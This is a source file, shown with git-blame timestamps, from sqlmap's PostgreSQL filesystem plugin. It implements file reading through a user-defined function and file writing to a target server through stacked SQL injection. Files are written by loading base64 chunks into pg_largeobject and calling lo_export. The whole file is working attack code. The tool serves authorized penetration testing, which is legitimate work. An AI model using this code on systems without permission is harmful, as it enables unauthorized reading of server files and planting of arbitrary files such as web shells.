2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
"""
|
2024-01-04 01:11:52 +03:00
|
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2010-03-23 01:57:57 +03:00
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
|
|
|
|
from lib.core.common import randomInt
|
2019-03-28 18:04:38 +03:00
|
|
|
from lib.core.compat import xrange
|
2019-06-27 18:28:43 +03:00
|
|
|
from lib.core.data import kb
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.data import logger
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
2015-07-24 15:56:45 +03:00
|
|
|
from lib.core.settings import LOBLKSIZE
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.request import inject
|
|
|
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
|
|
|
|
|
|
|
class Filesystem(GenericFilesystem):
|
|
|
|
def __init__(self):
|
|
|
|
self.oid = None
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page = None
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
GenericFilesystem.__init__(self)
|
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
def stackedReadFile(self, remoteFile):
|
2019-06-27 18:28:43 +03:00
|
|
|
if not kb.bruteMode:
|
|
|
|
infoMsg = "fetching file: '%s'" % remoteFile
|
|
|
|
logger.info(infoMsg)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
self.initEnv()
|
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2019-12-01 00:48:34 +03:00
|
|
|
def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
2010-03-23 01:57:57 +03:00
|
|
|
errMsg += "query SQL injection technique"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
|
|
|
|
localFileSize = os.path.getsize(localFile)
|
|
|
|
content = open(localFile, "rb").read()
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
self.oid = randomInt()
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page = 0
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "create a new OID for a large object, it implicitly "
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "adds an entry in the large objects system table"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
# References:
|
|
|
|
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
|
|
|
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
2015-07-24 15:56:45 +03:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
2015-07-24 16:15:41 +03:00
|
|
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
|
|
|
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
for offset in xrange(0, localFileSize, LOBLKSIZE):
|
2015-07-24 15:56:45 +03:00
|
|
|
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
|
|
|
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
|
|
|
|
|
|
for sqlQuery in sqlQueries:
|
|
|
|
inject.goStacked(sqlQuery)
|
|
|
|
|
|
|
|
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
|
|
|
|
inject.goStacked("DELETE FROM %s" % self.fileTblName)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page += 1
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "exporting the OID %s file content to " % fileType
|
2019-06-03 11:41:51 +03:00
|
|
|
debugMsg += "file '%s'" % remoteFile
|
2010-03-23 01:57:57 +03:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2019-06-03 11:41:51 +03:00
|
|
|
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
2013-01-23 05:27:01 +04:00
|
|
|
|
|
|
|
return written
|